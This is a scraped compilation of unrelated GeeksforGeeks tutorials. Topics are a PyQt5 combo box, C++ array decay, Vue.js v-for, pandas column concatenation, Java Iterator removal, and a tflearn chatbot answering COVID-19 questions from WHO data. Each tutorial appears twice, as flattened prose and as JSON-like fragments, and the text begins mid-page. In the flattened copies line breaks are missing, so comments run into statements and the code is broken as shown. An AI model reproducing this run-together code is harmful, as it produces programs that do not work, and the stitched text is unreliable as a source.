of our Windowwindow = Window() # start the appsys.exit(App.exec()) Output : Python PyQt5-ComboBox Python-gui Python-PyQt Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n22 Apr, 2020" }, { "code": null, "e": 329, "s": 28, "text": "In this article we will see how we can adjust the combo box according to the size of item according to item which has maximum size among the item list. By default we use setGeometry method and setSize method to adjust the size but it will not automatically adjust the size according to the item size." }, { "code": null, "e": 424, "s": 329, "text": "In order to adjust the size according to the maximum length item size we use adjustSize method" }, { "code": null, "e": 456, "s": 424, "text": "Syntax : combo_box.adjustSize()" }, { "code": null, "e": 488, "s": 456, "text": "Argument : It takes no argument" }, { "code": null, "e": 502, "s": 488, "text": "Return : None" }, { "code": null, "e": 532, "s": 502, "text": "Below is the implementation –" }, { "code": "# importing librariesfrom PyQt5.QtWidgets import * from PyQt5 import QtCore, QtGuifrom PyQt5.QtGui import * from PyQt5.QtCore import * import sys class Window(QMainWindow): def __init__(self): super().__init__() # setting title self.setWindowTitle(\"Python \") # setting geometry self.setGeometry(100, 100, 600, 400) # calling method self.UiComponents() # showing all the widgets self.show() # method for widgets def UiComponents(self): # creating a combo box widget self.combo_box = QComboBox(self) # setting geometry of combo box self.combo_box.setGeometry(200, 150, 200, 50) # geek list geek_list = [\"Sayian\", \"Super Saiyan\", \"Super Sayian 2\", \"Super Sayian Blue\"] # making it editable self.combo_box.setEditable(True) # adding list of items to combo box self.combo_box.addItems(geek_list) # adjusting the size according to the maximum sized element self.combo_box.adjustSize() # create pyqt5 appApp = QApplication(sys.argv) # create the instance of our Windowwindow = Window() # start the appsys.exit(App.exec())", "e": 1737, "s": 532, "text": null }, { "code": null, "e": 1746, "s": 1737, "text": "Output :" }, { "code": null, "e": 1768, "s": 1746, "text": "Python PyQt5-ComboBox" }, { "code": null, "e": 1779, "s": 1768, "text": "Python-gui" }, { "code": null, "e": 1791, "s": 1779, "text": "Python-PyQt" }, { "code": null, "e": 1798, "s": 1791, "text": "Python" } ]
What is Array Decay in C++? How can it be prevented?
21 Sep, 2021 What is Array Decay? The loss of type and dimensions of an array is known as decay of an array.This generally occurs when we pass the array into function by value or pointer. What it does is, it sends first address to the array which is a pointer, hence the size of array is not the original one, but the one occupied by the pointer in the memory. CPP // C++ code to demonstrate array decay#include<iostream>using namespace std; // Driver function to show Array decay// Passing array by valuevoid aDecay(int *p){ // Printing size of pointer cout << "Modified size of array is by " " passing by value: "; cout << sizeof(p) << endl;} // Function to show that array decay happens // even if we use pointervoid pDecay(int (*p)[7]){ // Printing size of array cout << "Modified size of array by " "passing by pointer: "; cout << sizeof(p) << endl;} int main(){ int a[7] = {1, 2, 3, 4, 5, 6, 7,}; // Printing original size of array cout << "Actual size of array is: "; cout << sizeof(a) <<endl; // Passing a pointer to array aDecay(a); // Calling function by pointer pDecay(&a); return 0;} Output: Actual size of array is: 28 Modified size of array by passing by value: 8 Modified size of array by passing by pointer: 8 In the above code, the actual array has 7 int elements and hence has 28 size. But by calling by value and pointer, array decays into pointer and prints the size of 1 pointer i.e. 8 (4 in 32 bit).How to prevent Array Decay? A typical solution to handle decay is to pass size of array also as a parameter and not use sizeof on array parameters (See this for details)Another way to prevent array decay is to send the array into functions by reference. This prevents conversion of array into a pointer, hence prevents the decay. CPP // C++ code to demonstrate prevention of// decay of array#include<iostream>using namespace std; // A function that prevents Array decay// by passing array by referencevoid fun(int (&p)[7]){ // Printing size of array cout << "Modified size of array by " "passing by reference: "; cout << sizeof(p) << endl;} int main(){ int a[7] = {1, 2, 3, 4, 5, 6, 7,}; // Printing original size of array cout << "Actual size of array is: "; cout << sizeof(a) <<endl; // Calling function by reference fun(a); return 0;} Output: Actual size of array is: 28 Modified size of array by passing by reference: 28 In the above code, passing array by reference solves the problem of decay of array. Sizes in both cases is 28. This article is contributed by Manjeet Singh .If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. arjun108 cpp-array cpp-parameter-passing cpp-pointer C Language C++ CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 54, "s": 26, "text": "\n21 Sep, 2021" }, { "code": null, "e": 403, "s": 54, "text": "What is Array Decay? The loss of type and dimensions of an array is known as decay of an array.This generally occurs when we pass the array into function by value or pointer. What it does is, it sends first address to the array which is a pointer, hence the size of array is not the original one, but the one occupied by the pointer in the memory. " }, { "code": null, "e": 407, "s": 403, "text": "CPP" }, { "code": "// C++ code to demonstrate array decay#include<iostream>using namespace std; // Driver function to show Array decay// Passing array by valuevoid aDecay(int *p){ // Printing size of pointer cout << \"Modified size of array is by \" \" passing by value: \"; cout << sizeof(p) << endl;} // Function to show that array decay happens // even if we use pointervoid pDecay(int (*p)[7]){ // Printing size of array cout << \"Modified size of array by \" \"passing by pointer: \"; cout << sizeof(p) << endl;} int main(){ int a[7] = {1, 2, 3, 4, 5, 6, 7,}; // Printing original size of array cout << \"Actual size of array is: \"; cout << sizeof(a) <<endl; // Passing a pointer to array aDecay(a); // Calling function by pointer pDecay(&a); return 0;}", "e": 1223, "s": 407, "text": null }, { "code": null, "e": 1231, "s": 1223, "text": "Output:" }, { "code": null, "e": 1353, "s": 1231, "text": "Actual size of array is: 28\nModified size of array by passing by value: 8\nModified size of array by passing by pointer: 8" }, { "code": null, "e": 1879, "s": 1353, "text": "In the above code, the actual array has 7 int elements and hence has 28 size. But by calling by value and pointer, array decays into pointer and prints the size of 1 pointer i.e. 8 (4 in 32 bit).How to prevent Array Decay? A typical solution to handle decay is to pass size of array also as a parameter and not use sizeof on array parameters (See this for details)Another way to prevent array decay is to send the array into functions by reference. This prevents conversion of array into a pointer, hence prevents the decay. " }, { "code": null, "e": 1883, "s": 1879, "text": "CPP" }, { "code": "// C++ code to demonstrate prevention of// decay of array#include<iostream>using namespace std; // A function that prevents Array decay// by passing array by referencevoid fun(int (&p)[7]){ // Printing size of array cout << \"Modified size of array by \" \"passing by reference: \"; cout << sizeof(p) << endl;} int main(){ int a[7] = {1, 2, 3, 4, 5, 6, 7,}; // Printing original size of array cout << \"Actual size of array is: \"; cout << sizeof(a) <<endl; // Calling function by reference fun(a); return 0;}", "e": 2436, "s": 1883, "text": null }, { "code": null, "e": 2444, "s": 2436, "text": "Output:" }, { "code": null, "e": 2523, "s": 2444, "text": "Actual size of array is: 28\nModified size of array by passing by reference: 28" }, { "code": null, "e": 3056, "s": 2523, "text": "In the above code, passing array by reference solves the problem of decay of array. Sizes in both cases is 28. This article is contributed by Manjeet Singh .If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. " }, { "code": null, "e": 3065, "s": 3056, "text": "arjun108" }, { "code": null, "e": 3075, "s": 3065, "text": "cpp-array" }, { "code": null, "e": 3097, "s": 3075, "text": "cpp-parameter-passing" }, { "code": null, "e": 3109, "s": 3097, "text": "cpp-pointer" }, { "code": null, "e": 3120, "s": 3109, "text": "C Language" }, { "code": null, "e": 3124, "s": 3120, "text": "C++" }, { "code": null, "e": 3128, "s": 3124, "text": "CPP" } ]
v-for Directive in Vue.js
25 Jun, 2020 v-for directive is a Vue.js directive used to loop over a data usually an array or object. First, we will create a div element with id as app and let’s apply the v-for directive to an element with data. Now we will create this data by initializing a Vue instance with the data attribute containing the value. Syntax: v-for="data in datas" Parameters: This function accepts data which is either an array or object over which we will loop over. Example: This example uses Vue.js to loop over an array with v-for. <!DOCTYPE html><html> <head> <title> VueJS | v-for directive </title> <!-- Load Vuejs --> <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"> </script></head> <body> <div style="text-align: center; width: 600px;"> <h1 style="color: green;"> GeeksforGeeks </h1> <b> VueJS | v-for directive </b> </div> <div id="canvas" style= "border:1px solid #000000; width: 600px;height: 200px;"> <div id="app"> <h2 v-for="data in datas"> {{data}} </h2> </div> </div> <script> var app = new Vue({ el: '#app', data: { datas: [ 'Hello', 'World', 'GeeksforGeeks' ] } }) </script></body> </html> Output: Vue.JS JavaScript Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n25 Jun, 2020" }, { "code": null, "e": 337, "s": 28, "text": "v-for directive is a Vue.js directive used to loop over a data usually an array or object. First, we will create a div element with id as app and let’s apply the v-for directive to an element with data. Now we will create this data by initializing a Vue instance with the data attribute containing the value." }, { "code": null, "e": 345, "s": 337, "text": "Syntax:" }, { "code": null, "e": 367, "s": 345, "text": "v-for=\"data in datas\"" }, { "code": null, "e": 471, "s": 367, "text": "Parameters: This function accepts data which is either an array or object over which we will loop over." }, { "code": null, "e": 539, "s": 471, "text": "Example: This example uses Vue.js to loop over an array with v-for." }, { "code": "<!DOCTYPE html><html> <head> <title> VueJS | v-for directive </title> <!-- Load Vuejs --> <script src=\"https://cdn.jsdelivr.net/npm/vue/dist/vue.js\"> </script></head> <body> <div style=\"text-align: center; width: 600px;\"> <h1 style=\"color: green;\"> GeeksforGeeks </h1> <b> VueJS | v-for directive </b> </div> <div id=\"canvas\" style= \"border:1px solid #000000; width: 600px;height: 200px;\"> <div id=\"app\"> <h2 v-for=\"data in datas\"> {{data}} </h2> </div> </div> <script> var app = new Vue({ el: '#app', data: { datas: [ 'Hello', 'World', 'GeeksforGeeks' ] } }) </script></body> </html>", "e": 1453, "s": 539, "text": null }, { "code": null, "e": 1461, "s": 1453, "text": "Output:" }, { "code": null, "e": 1468, "s": 1461, "text": "Vue.JS" }, { "code": null, "e": 1479, "s": 1468, "text": "JavaScript" }, { "code": null, "e": 1496, "s": 1479, "text": "Web Technologies" } ]
How to Concatenate Column Values in Pandas DataFrame?
10 Jul, 2020 Many times we need to combine values in different columns into a single column. There can be many use cases of this, like combining first and last names of people in a list, combining day, month, and year into a single column of Date, etc. Now we’ll see how we can achieve this with the help of some examples. Example 1: In this example, we’ll combine two columns of first name last name to a column name. To achieve this we’ll use the map function. import pandas as pdfrom pandas import DataFrame # creating a dictionary of namesNames = {'FirstName':['Suzie','Emily','Mike','Robert'], 'LastName':['Bates','Edwards','Curry','Frost']} # creating a dataframe from dictionarydf = DataFrame(Names, columns=['FirstName','LastName'])print(df) print('\n') # concatenating the columnsdf['Name'] = df['FirstName'].map(str) + ' ' + df['LastName'].map(str)print(df) Output: Example 2: Similarly, we can concatenate any number of columns in a dataframe. Let’s see through another example to concatenate three different columns of the day, month, and year in a single column Date. import pandas as pdfrom pandas import DataFrame # creating a dictionary of DatesDates = {'Day': [1, 29, 23, 4, 15], 'Month': ['Aug', 'Feb', 'Aug', 'Apr', 'Mar'], 'Year': [1947, 1983, 2007, 2011, 2020]} # creating a dataframe from dictionarydf = DataFrame(Dates, columns = ['Day', 'Month', 'Year'])print (df) print('\n') # concatenating the columnsdf['Date'] = df['Day'].map(str) + '-' + df['Month'].map(str) + '-' + df['Year'].map(str)print (df) Output: Example 3: We can take this process further and concatenate multiple columns from multiple different dataframes. In this example, we combine columns of dataframe df1 and df2 into a single dataframe. import pandas as pdfrom pandas import DataFrame # creating a dictionary of DatesDates = {'Day': [1, 1, 1, 1], 'Month': ['Jan', 'Jan', 'Jan', 'Jan'], 'Year': [2017, 2018, 2019, 2020]} # creating a dataframe from dictionarydf1 = DataFrame(Dates, columns = ['Day', 'Month', 'Year']) # creating a dictionary of RatesRates = {'GDP': [5.8, 7.6, 5.6, 4.1], 'Inflation Rate': [2.49, 4.85, 7.66, 6.08]} # creating a dataframe from dictionarydf2 = DataFrame(Rates, columns = ['GDP', 'Inflation Rate']) # combining columns of df1 and df2df_combined = df1['Day'].map(str) + '-' + df1['Month'].map(str) + '-' + df1['Year'].map(str) + ': ' + 'GDP: ' + df2['GDP'].map(str) + '; ' + 'Inflation: ' + df2['Inflation Rate'].map(str)print (df_combined) Output: Python pandas-dataFrame Python-pandas Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n10 Jul, 2020" }, { "code": null, "e": 338, "s": 28, "text": "Many times we need to combine values in different columns into a single column. There can be many use cases of this, like combining first and last names of people in a list, combining day, month, and year into a single column of Date, etc. Now we’ll see how we can achieve this with the help of some examples." }, { "code": null, "e": 478, "s": 338, "text": "Example 1: In this example, we’ll combine two columns of first name last name to a column name. To achieve this we’ll use the map function." }, { "code": "import pandas as pdfrom pandas import DataFrame # creating a dictionary of namesNames = {'FirstName':['Suzie','Emily','Mike','Robert'], 'LastName':['Bates','Edwards','Curry','Frost']} # creating a dataframe from dictionarydf = DataFrame(Names, columns=['FirstName','LastName'])print(df) print('\\n') # concatenating the columnsdf['Name'] = df['FirstName'].map(str) + ' ' + df['LastName'].map(str)print(df)", "e": 900, "s": 478, "text": null }, { "code": null, "e": 908, "s": 900, "text": "Output:" }, { "code": null, "e": 1113, "s": 908, "text": "Example 2: Similarly, we can concatenate any number of columns in a dataframe. Let’s see through another example to concatenate three different columns of the day, month, and year in a single column Date." }, { "code": "import pandas as pdfrom pandas import DataFrame # creating a dictionary of DatesDates = {'Day': [1, 29, 23, 4, 15], 'Month': ['Aug', 'Feb', 'Aug', 'Apr', 'Mar'], 'Year': [1947, 1983, 2007, 2011, 2020]} # creating a dataframe from dictionarydf = DataFrame(Dates, columns = ['Day', 'Month', 'Year'])print (df) print('\\n') # concatenating the columnsdf['Date'] = df['Day'].map(str) + '-' + df['Month'].map(str) + '-' + df['Year'].map(str)print (df)", "e": 1580, "s": 1113, "text": null }, { "code": null, "e": 1588, "s": 1580, "text": "Output:" }, { "code": null, "e": 1599, "s": 1588, "text": "Example 3:" }, { "code": null, "e": 1787, "s": 1599, "text": "We can take this process further and concatenate multiple columns from multiple different dataframes. In this example, we combine columns of dataframe df1 and df2 into a single dataframe." }, { "code": "import pandas as pdfrom pandas import DataFrame # creating a dictionary of DatesDates = {'Day': [1, 1, 1, 1], 'Month': ['Jan', 'Jan', 'Jan', 'Jan'], 'Year': [2017, 2018, 2019, 2020]} # creating a dataframe from dictionarydf1 = DataFrame(Dates, columns = ['Day', 'Month', 'Year']) # creating a dictionary of RatesRates = {'GDP': [5.8, 7.6, 5.6, 4.1], 'Inflation Rate': [2.49, 4.85, 7.66, 6.08]} # creating a dataframe from dictionarydf2 = DataFrame(Rates, columns = ['GDP', 'Inflation Rate']) # combining columns of df1 and df2df_combined = df1['Day'].map(str) + '-' + df1['Month'].map(str) + '-' + df1['Year'].map(str) + ': ' + 'GDP: ' + df2['GDP'].map(str) + '; ' + 'Inflation: ' + df2['Inflation Rate'].map(str)print (df_combined)", "e": 2554, "s": 1787, "text": null }, { "code": null, "e": 2562, "s": 2554, "text": "Output:" }, { "code": null, "e": 2586, "s": 2562, "text": "Python pandas-dataFrame" }, { "code": null, "e": 2600, "s": 2586, "text": "Python-pandas" }, { "code": null, "e": 2607, "s": 2600, "text": "Python" } ]
How to Remove an Element from Collection using Iterator Object in Java?
07 Jan, 2021 Collection in Java is a set of interfaces like List, Set, and Queue. An iterator in Java is used to iterate or traverse through the elements of the Collection. There are three types of iterator in Java namely, Enumerator, Iterator, and ListIterator. The two ways of removing an element from Collections using Iterator : Using IteratorUsing ListIterator Using Iterator Using ListIterator Approach 1: Using Iterator A List is created and elements are added to the list using the add() method. The Iterator object is used to iterate over the elements of the list using the hasNext() and next() methods. An if the condition is used within the while loop and when the condition is satisfied, the particular element is removed using the remove() method. When the entire list is traversed again the element which was removed is no longer present in the list. Java // Java program to Remove an Element from // Collection using Iterator import java.util.ArrayList;import java.util.Iterator;class IteratorDemo { public static void main(String[] args) { ArrayList<Integer> l = new ArrayList<Integer>(); for(int i=0;i<=50;i=i+5) { l.add(i); } Iterator<Integer> itr = l.iterator(); System.out.println("List before removal"); for(int i=0;i<l.size();i++) { System.out.print(l.get(i)+" "); } while(itr.hasNext()) { if(itr.next()%2==1) itr.remove(); } System.out.println("\nList after removal"); for(int i=0;i<l.size();i++) { System.out.print(l.get(i)+" "); } } } List before removal 0 5 10 15 20 25 30 35 40 45 50 List after removal 0 10 20 30 40 50 Approach 2: Using ListIterator A list is created and elements are added to the list using the add() method. The ListIterator object is used to iterate over the elements of the list using the hasNext() and next() methods. An if condition is used within the while loop and when the condition is satisfied, the particular element is removed using the remove() method. When the entire list is traversed again the element which was removed is no longer present in the list. Java // Java program to Remove an Element from// Collection using ListIterator import java.util.ArrayList;import java.util.ListIterator; public class ListIteratorDemo { public static void main(String[] args) { ArrayList<String> l = new ArrayList<String>(); l.add("January"); l.add("February"); l.add("March"); l.add("April"); l.add("May"); l.add("June"); l.add("July"); l.add("August"); ListIterator<String> itr = l.listIterator(); System.out.println("List before removal"); for (int i = 0; i < l.size(); i++) System.out.print(l.get(i) + " "); while (itr.hasNext()) { if (itr.next().equals("March")) { itr.remove(); } } System.out.println("\nList after removal"); for (int i = 0; i < l.size(); i++) System.out.print(l.get(i) + " "); }} List before removal January February March April May June July August List after removal January February April May June July August Java-Collections Java-Iterator Picked Technical Scripter 2020 Java Java Programs Technical Scripter Java Java-Collections Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n07 Jan, 2021" }, { "code": null, "e": 279, "s": 28, "text": "Collection in Java is a set of interfaces like List, Set, and Queue. An iterator in Java is used to iterate or traverse through the elements of the Collection. There are three types of iterator in Java namely, Enumerator, Iterator, and ListIterator. " }, { "code": null, "e": 349, "s": 279, "text": "The two ways of removing an element from Collections using Iterator :" }, { "code": null, "e": 382, "s": 349, "text": "Using IteratorUsing ListIterator" }, { "code": null, "e": 397, "s": 382, "text": "Using Iterator" }, { "code": null, "e": 416, "s": 397, "text": "Using ListIterator" }, { "code": null, "e": 443, "s": 416, "text": "Approach 1: Using Iterator" }, { "code": null, "e": 520, "s": 443, "text": "A List is created and elements are added to the list using the add() method." }, { "code": null, "e": 629, "s": 520, "text": "The Iterator object is used to iterate over the elements of the list using the hasNext() and next() methods." }, { "code": null, "e": 777, "s": 629, "text": "An if the condition is used within the while loop and when the condition is satisfied, the particular element is removed using the remove() method." }, { "code": null, "e": 881, "s": 777, "text": "When the entire list is traversed again the element which was removed is no longer present in the list." }, { "code": null, "e": 886, "s": 881, "text": "Java" }, { "code": "// Java program to Remove an Element from // Collection using Iterator import java.util.ArrayList;import java.util.Iterator;class IteratorDemo { public static void main(String[] args) { ArrayList<Integer> l = new ArrayList<Integer>(); for(int i=0;i<=50;i=i+5) { l.add(i); } Iterator<Integer> itr = l.iterator(); System.out.println(\"List before removal\"); for(int i=0;i<l.size();i++) { System.out.print(l.get(i)+\" \"); } while(itr.hasNext()) { if(itr.next()%2==1) itr.remove(); } System.out.println(\"\\nList after removal\"); for(int i=0;i<l.size();i++) { System.out.print(l.get(i)+\" \"); } } }", "e": 1716, "s": 886, "text": null }, { "code": null, "e": 1804, "s": 1716, "text": "List before removal\n0 5 10 15 20 25 30 35 40 45 50 \nList after removal\n0 10 20 30 40 50" }, { "code": null, "e": 1835, "s": 1804, "text": "Approach 2: Using ListIterator" }, { "code": null, "e": 1912, "s": 1835, "text": "A list is created and elements are added to the list using the add() method." }, { "code": null, "e": 2025, "s": 1912, "text": "The ListIterator object is used to iterate over the elements of the list using the hasNext() and next() methods." }, { "code": null, "e": 2169, "s": 2025, "text": "An if condition is used within the while loop and when the condition is satisfied, the particular element is removed using the remove() method." }, { "code": null, "e": 2273, "s": 2169, "text": "When the entire list is traversed again the element which was removed is no longer present in the list." }, { "code": null, "e": 2278, "s": 2273, "text": "Java" }, { "code": "// Java program to Remove an Element from// Collection using ListIterator import java.util.ArrayList;import java.util.ListIterator; public class ListIteratorDemo { public static void main(String[] args) { ArrayList<String> l = new ArrayList<String>(); l.add(\"January\"); l.add(\"February\"); l.add(\"March\"); l.add(\"April\"); l.add(\"May\"); l.add(\"June\"); l.add(\"July\"); l.add(\"August\"); ListIterator<String> itr = l.listIterator(); System.out.println(\"List before removal\"); for (int i = 0; i < l.size(); i++) System.out.print(l.get(i) + \" \"); while (itr.hasNext()) { if (itr.next().equals(\"March\")) { itr.remove(); } } System.out.println(\"\\nList after removal\"); for (int i = 0; i < l.size(); i++) System.out.print(l.get(i) + \" \"); }}", "e": 3205, "s": 2278, "text": null }, { "code": null, "e": 3339, "s": 3205, "text": "List before removal\nJanuary February March April May June July August \nList after removal\nJanuary February April May June July August" }, { "code": null, "e": 3356, "s": 3339, "text": "Java-Collections" }, { "code": null, "e": 3370, "s": 3356, "text": "Java-Iterator" }, { "code": null, "e": 3377, "s": 3370, "text": "Picked" }, { "code": null, "e": 3401, "s": 3377, "text": "Technical Scripter 2020" }, { "code": null, "e": 3406, "s": 3401, "text": "Java" }, { "code": null, "e": 3420, "s": 3406, "text": "Java Programs" }, { "code": null, "e": 3439, "s": 3420, "text": "Technical Scripter" }, { "code": null, "e": 3444, "s": 3439, "text": "Java" }, { "code": null, "e": 3461, "s": 3444, "text": "Java-Collections" } ]
Corona HelpBot
14 Jul, 2022 This is a chatbot that will give answers to most of your corona-related questions/FAQ. The chatbot will give you answers from the data given by WHO(https://www.who.int/). This will help those who need information or help to know more about this virus. It uses a neural network with two hidden layers(enough for these QnA) that predicts which pattern matches the user’s question and sends it towards that node. More patterns can be added to the user’s questions to train it for more improved results and add more info about coronavirus in the JSON file. The more you train this chatbot the more it gets precise. The advantage of using deep learning is that you don’t have to ask the same question as written in the JSON file cause stemmed words from the pattern are matched with the user question Prerequisites: Python 3 NumPy nltk TensorFlow v.1.15 (no GPU required) tflearn Training Data: To feed the data to the chatbot I have used JSON with possible question patterns and our desired answers. The JSON file used for the project is WHO For this project, I have named my JSON file WHO.json The JSON file tag is the category in which all those responses fall. patterns are used for listing all possible question patterns. responses contain all the responses with respect to the patterned questions Python3 import nltkimport numpyimport tflearnimport tensorflowimport pickleimport randomimport jsonnltk.download('punkt') from nltk.stem.lancaster import LancasterStemmerstemmer = LancasterStemmer() #loading the json datawith open("WHO.json") as file: data = json.load(file) #print(data["intents"])try: with open("data.pickle", "rb") as f: words, l, training, output = pickle.load(f)except: # Extracting Data words = [] l = [] docs_x = [] docs_y = [] # converting each pattern into list of words using nltk.word_tokenizer for i in data["intents"]: for p in i["patterns"]: wrds = nltk.word_tokenize(p) words.extend(wrds) docs_x.append(wrds) docs_y.append(i["tag"]) if i["tag"] not in l: l.append(i["tag"]) # Word Stemming words = [stemmer.stem(w.lower()) for w in words if w != "?"] words = sorted(list(set(words))) l = sorted(l) # This code will simply create a unique list of stemmed # words to use in the next step of our data preprocessing training = [] output = [] out_empty = [0 for _ in range(len(l))] for x, doc in enumerate(docs_x): bag = [] wrds = [stemmer.stem(w) for w in doc] for w in words: if w in wrds: bag.append(1) else: bag.append(0) output_row = out_empty[:] output_row[l.index(docs_y[x])] = 1 training.append(bag) output.append(output_row) # Finally we will convert our training data and output to numpy arrays training = numpy.array(training) output = numpy.array(output) with open("data.pickle", "wb") as f: pickle.dump((words, l, training, output), f) # Developing a Model tensorflow.reset_default_graph() net = tflearn.input_data(shape=[None, len(training[0])])net = tflearn.fully_connected(net, 8)net = tflearn.fully_connected(net, 8)net = tflearn.fully_connected(net, len(output[0]), activation="softmax")net = tflearn.regression(net) # remove comment to not train model after you satisfied with the accuracymodel = tflearn.DNN(net)"""try: model.load("model.tflearn")except:""" # Training & Saving the Modelmodel.fit(training, output, n_epoch=1000, batch_size=8, show_metric=True) model.save("model.tflearn") # making predictionsdef bag_of_words(s, words): bag = [0 for _ in range(len(words))] s_words = nltk.word_tokenize(s) s_words = [stemmer.stem(word.lower()) for word in s_words] for se in s_words: for i, w in enumerate(words): if w == se: bag[i] = 1 return numpy.array(bag) def chat(): print("""Start talking with the bot and ask your queries about Corona-virus(type quit to stop)!""") while True: inp = input("You: ") if inp.lower() == "quit": break results = model.predict([bag_of_words(inp, words)])[0] results_index = numpy.argmax(results) #print(results_index) tag = l[results_index] if results[results_index] > 0.7: for tg in data["intents"]: if tg['tag'] == tag: responses = tg['responses'] print(random.choice(responses)) else: print("I am sorry but I can't understand") chat() Bag of Words: As we know neural networks and machine learning algorithms require numerical input. So our list of strings won’t cut it. We need some way to represent our sentences with numbers and this is where a bag of words comes in. What we are going to do is represent each sentence with a list of the length of the number of words in our model vocabulary. Each position in the list will represent a word from our vocabulary the position in the list is a 1 then that will mean that the word exists in our sentence, if it is a 0 then the word is not present. Developing a Model: model = tflearn.DNN(net) model.fit(training, output, n_epoch=1000, batch_size=8, show_metric=True) model.save("model.tflearn") Our chatbot will predict the answers based on the model we train. Here we will use the neural networks to build the model. The goal of our network will be to look at a bag of words and give a class that they belong too (one of our tags from the JSON file). Input: What is coronavirus? Output: COVID-19 is an infectious disease caused by the most recently discovered coronavirus. This new virus and disease were unknown before the outbreak began in Wuhan, China, in December 2019. Input: What are the symptoms of COVID 19? Output: The most common symptoms of COVID-19 are fever, tiredness, and dry cough. Some patients may have aches and pains, nasal congestion, runny nose, sore throat, or diarrhoea. These symptoms are usually mild and begin gradually. Some people become infected but don’t develop any symptoms and don't feel unwell. Most people (about 80%) recover from the disease without needing special treatment. varshagumber28 rkbhola5 harshmaster07705 Python-projects python-utility Project Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 52, "s": 24, "text": "\n14 Jul, 2022" }, { "code": null, "e": 304, "s": 52, "text": "This is a chatbot that will give answers to most of your corona-related questions/FAQ. The chatbot will give you answers from the data given by WHO(https://www.who.int/). This will help those who need information or help to know more about this virus." }, { "code": null, "e": 848, "s": 304, "text": "It uses a neural network with two hidden layers(enough for these QnA) that predicts which pattern matches the user’s question and sends it towards that node. More patterns can be added to the user’s questions to train it for more improved results and add more info about coronavirus in the JSON file. The more you train this chatbot the more it gets precise. The advantage of using deep learning is that you don’t have to ask the same question as written in the JSON file cause stemmed words from the pattern are matched with the user question" }, { "code": null, "e": 864, "s": 848, "text": "Prerequisites: " }, { "code": null, "e": 928, "s": 864, "text": "Python 3\nNumPy\nnltk\nTensorFlow v.1.15 (no GPU required)\ntflearn" }, { "code": null, "e": 1352, "s": 928, "text": "Training Data: To feed the data to the chatbot I have used JSON with possible question patterns and our desired answers. The JSON file used for the project is WHO For this project, I have named my JSON file WHO.json The JSON file tag is the category in which all those responses fall. patterns are used for listing all possible question patterns. responses contain all the responses with respect to the patterned questions " }, { "code": null, "e": 1360, "s": 1352, "text": "Python3" }, { "code": "import nltkimport numpyimport tflearnimport tensorflowimport pickleimport randomimport jsonnltk.download('punkt') from nltk.stem.lancaster import LancasterStemmerstemmer = LancasterStemmer() #loading the json datawith open(\"WHO.json\") as file: data = json.load(file) #print(data[\"intents\"])try: with open(\"data.pickle\", \"rb\") as f: words, l, training, output = pickle.load(f)except: # Extracting Data words = [] l = [] docs_x = [] docs_y = [] # converting each pattern into list of words using nltk.word_tokenizer for i in data[\"intents\"]: for p in i[\"patterns\"]: wrds = nltk.word_tokenize(p) words.extend(wrds) docs_x.append(wrds) docs_y.append(i[\"tag\"]) if i[\"tag\"] not in l: l.append(i[\"tag\"]) # Word Stemming words = [stemmer.stem(w.lower()) for w in words if w != \"?\"] words = sorted(list(set(words))) l = sorted(l) # This code will simply create a unique list of stemmed # words to use in the next step of our data preprocessing training = [] output = [] out_empty = [0 for _ in range(len(l))] for x, doc in enumerate(docs_x): bag = [] wrds = [stemmer.stem(w) for w in doc] for w in words: if w in wrds: bag.append(1) else: bag.append(0) output_row = out_empty[:] output_row[l.index(docs_y[x])] = 1 training.append(bag) output.append(output_row) # Finally we will convert our training data and output to numpy arrays training = numpy.array(training) output = numpy.array(output) with open(\"data.pickle\", \"wb\") as f: pickle.dump((words, l, training, output), f) # Developing a Model tensorflow.reset_default_graph() net = tflearn.input_data(shape=[None, len(training[0])])net = tflearn.fully_connected(net, 8)net = tflearn.fully_connected(net, 8)net = tflearn.fully_connected(net, len(output[0]), activation=\"softmax\")net = tflearn.regression(net) # remove comment to not train model after you satisfied with the accuracymodel = tflearn.DNN(net)\"\"\"try: model.load(\"model.tflearn\")except:\"\"\" # Training & Saving the Modelmodel.fit(training, output, n_epoch=1000, batch_size=8, show_metric=True) model.save(\"model.tflearn\") # making predictionsdef bag_of_words(s, words): bag = [0 for _ in range(len(words))] s_words = nltk.word_tokenize(s) s_words = [stemmer.stem(word.lower()) for word in s_words] for se in s_words: for i, w in enumerate(words): if w == se: bag[i] = 1 return numpy.array(bag) def chat(): print(\"\"\"Start talking with the bot and ask your queries about Corona-virus(type quit to stop)!\"\"\") while True: inp = input(\"You: \") if inp.lower() == \"quit\": break results = model.predict([bag_of_words(inp, words)])[0] results_index = numpy.argmax(results) #print(results_index) tag = l[results_index] if results[results_index] > 0.7: for tg in data[\"intents\"]: if tg['tag'] == tag: responses = tg['responses'] print(random.choice(responses)) else: print(\"I am sorry but I can't understand\") chat()", "e": 4881, "s": 1360, "text": null }, { "code": null, "e": 5442, "s": 4881, "text": "Bag of Words: As we know neural networks and machine learning algorithms require numerical input. So our list of strings won’t cut it. We need some way to represent our sentences with numbers and this is where a bag of words comes in. What we are going to do is represent each sentence with a list of the length of the number of words in our model vocabulary. Each position in the list will represent a word from our vocabulary the position in the list is a 1 then that will mean that the word exists in our sentence, if it is a 0 then the word is not present." }, { "code": null, "e": 5462, "s": 5442, "text": "Developing a Model:" }, { "code": null, "e": 5590, "s": 5462, "text": "model = tflearn.DNN(net)\nmodel.fit(training, output, n_epoch=1000, batch_size=8, show_metric=True) \nmodel.save(\"model.tflearn\")" }, { "code": null, "e": 5847, "s": 5590, "text": 